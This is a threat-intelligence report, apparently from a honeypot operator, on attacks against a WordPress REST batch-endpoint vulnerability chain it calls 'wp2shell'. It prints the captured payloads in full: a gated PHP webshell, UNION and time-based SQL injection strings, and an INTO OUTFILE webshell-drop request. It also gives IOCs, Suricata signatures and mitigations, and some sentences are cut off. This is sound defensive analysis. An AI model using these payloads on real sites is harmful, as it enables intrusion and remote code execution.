wp2shell — WordPress batch-endpoint exploitation
Reachability scanners, auth-bypass path fuzzing, and a live UNION-based SQLi-to-webshell drop against WordPress core's REST batch endpoint (CVE-2026-63030 + CVE-2026-60137)
Last updated 2026-08-10.
Executive summary
Most of what hits a freshly-disclosed WordPress vulnerability is noise: automated scanners checking whether an endpoint exists at all. One actor in our corpus went past that stage entirely. It landed a blind SQL injection through the endpoint and used it to write a working, secret-gated PHP webshell straight to the target's webroot, brute-forcing both the SQL column count and the webroot path along the way.
/wp-json/batch/v1), the route at the center of CVE-2026-63030 (batch-processor validation/dispatch path confusion) and, chained with CVE-2026-60137 (a WP_Query SQL injection), the unauthenticated pre-auth RCE chain researchers named "wp2shell". Both CVEs were disclosed 2026-07-17 and added to CISA's Known Exploited Vulnerabilities catalog on 2026-07-21. Of those 42 source IPs, exactly one, 94.154.172.142, went all the way: on 2026-08-10 it hit six separate sensors with a UNION-based SQL injection through author_exclude that terminated in INTO OUTFILE, writing a minimal PHP webshell, gated behind a secret query parameter and executing arbitrary shell commands via system(base64_decode(...)), while brute-forcing six different common webroot paths in the same burst.
The traffic splits into three tiers by intent, roughly evenly between the first two: 193 requests (48%) are pure reachability probes with an empty payload, systematically fuzzing routing and encoding variants to see if the endpoint exists under a given WAF configuration; 184 requests (46%) are populated but non-SQL structural probes, including the batch-processor path-confusion primitive itself; and 25 requests (6%), from only 7 of the 42 source IPs, are active SQL injection attempts, ranging from a boolean sanity check, through a UNION-based response marker, to blind time-based table enumeration, up to the full webshell drop described above. Full-chain weaponized exploitation is rare in this corpus, one actor out of 42, but real, live, and ongoing.
Threat actor profile
This is scanner/exploit traffic, not a single coherent operator. The corpus shows several distinct clusters operating independently, at different sophistication tiers, likely unaware of each other.
| Cluster | Behavior | Sophistication | Confidence |
|---|---|---|---|
94.154.172.142 |
Full-chain weaponized exploitation: UNION-based blind/marker SQLi through author_exclude, escalating to INTO OUTFILE webshell writes across 6 brute-forced webroot paths. Hit 6 sensors over roughly 5 hours in a single day. |
HIGH — automated, methodical column-count and path brute-forcing, not manual point-and-shoot | HIGH |
45.148.10.0/24 (8 IPs: .12, .18, .42, .60, .64, .75, .244, .246) |
By far the highest-volume cluster in the corpus: 184 requests against 5 sensors between 2026-07-29 and 2026-08-10. Mostly systematic WAF-bypass path/encoding fuzzing (case-flipping, URL-encoding, index.php prefix) against one sensor per burst, largely empty-body reachability checks. One IP in this range (.75, 53 requests against 3 sensors) separately ran blind time-based SQLi via SLEEP() to enumerate table names, a different technique from the webshell actor, suggesting shared infrastructure rather than a shared tool. |
MED — thorough, sustained fuzzing across two weeks, but the SQLi component observed here never progressed past table-name enumeration | HIGH |
195.178.110.0/24 (2 IPs: .247, .48) |
Broad, low-intensity horizontal scanning: 20 requests spread across 14 distinct sensors between 2026-08-07 and 2026-08-10, close to one hit per sensor, consistent with Internet-wide reachability sweeps rather than sensor-specific targeting. | LOW — single-shot reconnaissance, no follow-through observed | HIGH |
162.128.185.98 |
Single well-engineered UNION-confirmation probe: types every column correctly for the target query (post-status/post-type strings, filler datetime literals) and writes a ||OK|| marker via CONCAT()/HEX() rather than attempting a direct write. Reads as a verification step, likely from an automated scanner template rather than a human operator. |
MED — correct column typing shows real understanding of the target schema, but only one shot was observed | MED — single data point |
4 unrelated single-shot probes (157.66.56.90, 185.242.3.87, 74.208.87.83, 93.152.221.226) |
Each sent exactly one SQL-bearing request against one sensor between 2026-07-26 and 2026-07-30, then never returned. Four different ASNs, no shared infrastructure with any cluster above or each other. | LOW — no escalation, no repeat contact | MED — one data point each |
wp2shellOKMARKER, the gate parameter okwp2s, and the success marker WP2S_ALIVE) directly echoes the "wp2shell" name the security research community gave this CVE chain, which suggests either direct reuse of a published proof-of-concept, or an actor deliberately branding their tool to match. We could not determine which.
Infrastructure analysis
| Source | ASN / Org | Registration | Hosting Type | Notes |
|---|---|---|---|---|
94.154.172.142 |
AS209101 "IP Vendetta Inc." | Seychelles (RIPE handle IVIA1, abuse contact abuse@ipvendetta.com) |
Datacenter (spur.us) | Offshore-registered hosting; no VPN/proxy/tunnel flags, so this is a rented server rather than an anonymization service. Coincidentally shares a /16 with the previously-profiled StormCloud Bulletproof Hosting block (94.154.43.0/24), but resolves to a different ASN (AS209101 vs. StormCloud's AS219502): not the same provider, address proximity only. |
45.148.10.0/24 |
AS48090 "TECHOFF SRV LIMITED" | London, UK registrant address; netname country code AD (Andorra); abuse contact is a bare Gmail address (dmzhostabuse@gmail.com) |
Datacenter (spur.us, no org/infra data returned) | Jurisdiction mismatch between registrant address and netname country, plus an informal free-mail abuse contact for an entity styled as a limited company: a pattern consistent with a bulletproof-hosting reseller rather than a conventional cloud provider. |
195.178.110.0/24 |
AS48090 "TECHOFF SRV LIMITED" | Same as above | Datacenter | Same ASN as the 45.148.10.0/24 cluster despite a completely different /24 and a visibly different scanning behavior (broad low-intensity vs. targeted WAF-bypass fuzzing): one provider hosting at least two independently-operated scanning workloads. |
162.128.185.98 |
Not individually profiled — single low-volume hit | — | — | Insufficient data for infrastructure attribution from one request. |
Payload analysis
The webshell payload
The 94.154.172.142 UNION payload decodes to a minimal PHP webshell, gated behind a secret query parameter so a casual visitor or scanner hitting the dropped file directly won't trigger it:
<?php
if (isset($_GET['p']) && $_GET['p'] === 'okwp2s') {
if (isset($_GET['c'])) {
system(base64_decode($_GET['c']));
} elseif (isset($_POST['c'])) {
system(base64_decode($_POST['c']));
}
echo WP2S_ALIVE;
}
?>
Gate parameter p=okwp2s, command parameter c (base64-encoded, accepted via GET or POST), success marker WP2S_ALIVE echoed on a valid gated request regardless of whether c was supplied. That lets the operator confirm the drop landed before sending a real command.
Delivery: UNION column-count and webroot-path brute-forcing
The same actor tried six different INTO OUTFILE destinations, all writing the identical filename w2st.php, across six requests roughly 24 seconds apart: a systematic sweep of common webroot locations rather than a single targeted guess.
| Attempt (UTC, 2026-08-10) | Target path | UNION columns |
|---|---|---|
| 05:19:43 | /var/www/w2st.php | 9 (5 trailing NULLs) |
| 05:19:44 | /var/www/w2st.php | 10 (6 trailing NULLs) |
| 05:19:59 | /usr/share/nginx/html/w2st.php | 14 (10 trailing NULLs) |
| 05:20:03 | /srv/www/w2st.php | 12 (8 trailing NULLs) |
| 05:20:08 | /home/web/public_html/w2st.php | 14 (10 trailing NULLs) |
| 09:41:56 / 09:45:00 / 09:45:39 | /var/www/html/w2st.php, then /var/www/html/wp-content/uploads/w2st.php (×2, via two different URL-routing variants) | 13 / 11 / 15 |
The varying trailing-NULL counts across attempts show the actor also brute-forcing the correct UNION column count for the target wp_posts-shaped query alongside the path: two unknowns solved simultaneously by an automated tool, not a single hand-crafted request.
The marker-only variant
Earlier the same day, before the full webshell attempt, the same actor sent a lighter-weight probe writing only a detection string, wp2shellOKMARKER, in place of the webshell body, apparently confirming write capability before committing to the full payload:
0) UNION SELECT 99999999,0,0,0,0,0x7770327368656c6c4f4b4d41524b4552,0,0,0x7075626c697368,0 -- -
The same marker-only technique, with a different column count (32 columns, marker at position 17), was sent to a different sensor via a different REST route (/wp/v2/categories instead of /wp/v2/posts) roughly two hours later, confirming the tooling isn't hardcoded to a single endpoint shape.
Observed TTPs — MITRE ATT&CK
system(base64_decode(...)) call provides arbitrary OS command execution once triggeredActivity timeline
WP_Query SQLi) publicly disclosed.45.148.10.0/24 cluster begins, continuing through 2026-08-10 and eventually accounting for nearly half of all traffic in this corpus (184 of 402 requests); 45.148.10.75's blind time-based table-enumeration SQLi runs 2026-08-02 to 2026-08-05 within that window.195.178.110.0/24 broad-scan cluster sweeps 14 sensors with 20 requests, roughly one hit per sensor.94.154.172.142 begins its exploitation sequence against sensor vps-P: a boolean sanity check (0) OR 1=0), then within 4 seconds a UNION-based marker write confirming injection works.162.128.185.98 sends a single well-typed UNION-confirmation marker probe against sensor vps-R.Exploit payloads
Tier 1 — reachability probing (empty body)
Fuzzing routing and encoding variants to check the endpoint is reachable under a given WAF/proxy configuration, with no actual exploit content:
GET /wp-json/batch/v1 body={"requests": []}
GET /index.php?rest_route=/batch/v1 body={"requests": []}
GET /?rest_route=%2Fbatch%2Fv1 body={"requests": []}
GET /?rest_route=/batch%2Fv1 body={"requests": []}
GET /wp-json/Batch/v1 body={"requests": []}
Tier 2 — batch-processor path-confusion primitive (CVE-2026-63030)
Three independent encodings of the same underlying validation/dispatch-confusion primitive, seen from three different source IPs — evidence of at least three separate tool implementations, not one shared script:
{"requests":[{"method":"POST","path":"///"}, ...]} // 100.53.85.177, 162.128.185.98
{"requests":[{"method":"POST","path":"http://:"}, ...]} // 94.154.172.142, 45.148.10.75
{"requests":[{"method":"POST","path":"http:///x"}, ...]} // 195.178.110.247
Tier 3a — blind time-based SQLi (table enumeration)
45.148.10.75 extracting information_schema.TABLES character-by-character via a SLEEP()-conditional boolean oracle, filtering for a table matching %_posts:
0) UNION SELECT 1 FROM (SELECT ...) x WHERE
(ASCII(SUBSTRING((SELECT TABLE_NAME FROM information_schema.TABLES
WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME LIKE '%_posts'
ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1),2,1))>=55)
THEN SLEEP(0.35) ELSE 0 END
(Simplified for readability — the captured payload wraps this in the full batch-endpoint author_exclude parameter shape shown below.)
Tier 3b — UNION-based marker confirmation
{"requests":[
{"method":"POST","path":"http://:"},
{"method":"POST","path":"/wp/v2/posts","body":{
"author_exclude":"0) UNION SELECT 99999999,0,0,0,0,0x7770327368656c6c4f4b4d41524b4552,0,0,0x7075626c697368,0 -- -",
"per_page":400,"orderby":"none"
}},
{"method":"POST","path":"/wp/v2/media","body":{"n":0}}
]}
Decodes to wp2shellOKMARKER and publish — a confirmation write before committing to the full webshell.
Tier 3c — full webshell drop
{"requests":[
{"method":"POST","path":"http://:"},
{"method":"POST","path":"/wp/v2/posts","body":{
"author_exclude":"0) UNION SELECT 9999999,0,0,0x3c3f70687020...203f3e,0,0,0,0,0 INTO OUTFILE 0x2f7661722f7777772f773273742e706870 LINES TERMINATED BY 0x0a -- -"
}},
{"method":"POST","path":"/wp/v2/media","body":{"n":0}}
]}
The hex blob decodes to the PHP webshell shown in Payload analysis; the INTO OUTFILE target decodes to one of the six webroot paths in that section's table.
Indicators of compromise
Network IOCs
.75 also ran blind time-based SQLi.WordPress-side artifacts
w2st.php in any web-accessible directory (observed target paths: /var/www/, /var/www/html/, /var/www/html/wp-content/uploads/, /usr/share/nginx/html/, /srv/www/, /home/web/public_html/) not placed by a legitimate deploy — check creation time against your own deploy history.Requests to
?p=okwp2s in access logs, with or without a c parameter.WP2S_ALIVE appearing in any response body.author_exclude or author__not_in REST parameters containing SQL keywords (UNION, SELECT, SLEEP, INTO OUTFILE) in access logs.
Mitigations and detection
| Action | Priority | Detail |
|---|---|---|
| Patch WordPress core | HIGH | Upgrade to 6.9.5 or 7.0.2, whichever branch you're on — both CVEs are fixed upstream. This is an unauthenticated, no-special-configuration-required RCE chain; treat as emergency patching. |
| Search for the dropped webshell | HIGH | Search the webroot for w2st.php and any file containing the string okwp2s or WP2S_ALIVE. If found, treat the host as compromised — rotate credentials and database access, not just delete the file. |
| Review REST API access logs | MED | Look for author_exclude/author__not_in parameters carrying SQL syntax, and for path":"///" / "http://:" / "http:///x" style values inside batch-endpoint request bodies. |
| Restrict or disable the batch endpoint | MED | If the batch processor isn't in active use, block /wp-json/batch/v1 and the ?rest_route=/batch/v1 fallback at the reverse proxy/WAF layer as defense-in-depth ahead of patching. |
Detection signatures
# Suricata/Snort — batch-endpoint path-confusion primitive (CVE-2026-63030)
alert http any any -> $HOME_NET any (msg:"wp2shell batch-endpoint path-confusion probe"; \
content:"/batch/v1"; http_uri; \
content:"path"; http_client_body; pcre:"/\"path\"\s*:\s*\"(\/\/\/|http:\/\/:|http:\/\/\/)/"; \
flow:established,to_server; sid:9930001; rev:1;)
# Suricata/Snort — author_exclude SQLi through the batch endpoint (CVE-2026-60137)
alert http any any -> $HOME_NET any (msg:"wp2shell author_exclude SQLi attempt"; \
content:"author_exclude"; http_client_body; nocase; \
pcre:"/author_exclude.{0,20}(UNION\s+SELECT|SLEEP\(|INTO\s+OUTFILE)/i"; \
flow:established,to_server; sid:9930002; rev:1;)
# Suricata — dropped webshell gate parameter
alert http any any -> $HOME_NET any (msg:"wp2shell webshell activation attempt"; \
content:"p=okwp2s"; http_uri; \
flow:established,to_server; sid:9930003; rev:1;)
Collection methodology
All data in this report was collected organically by a distributed SSH/Telnet honeypot fleet deployed across multiple cloud providers and geographic regions. Fleet nodes run an alternate-protocol lure that fingerprints as a WordPress core installation and captures unauthenticated exploitation attempts against commonly-targeted REST API routes, including the batch-processor endpoint used in this campaign.
The bait logs the full request an attacker sends but does not execute PHP, run a database, or write files — every payload described above is the attacker's captured request, not a confirmed successful compromise of our infrastructure. IP registration and ASN attribution was performed via live RDAP lookups; IP anonymization/infrastructure classification via a commercial IP-intelligence API. All event counts, timestamps, and payload contents in this report were queried directly from the fleet's event store at write time.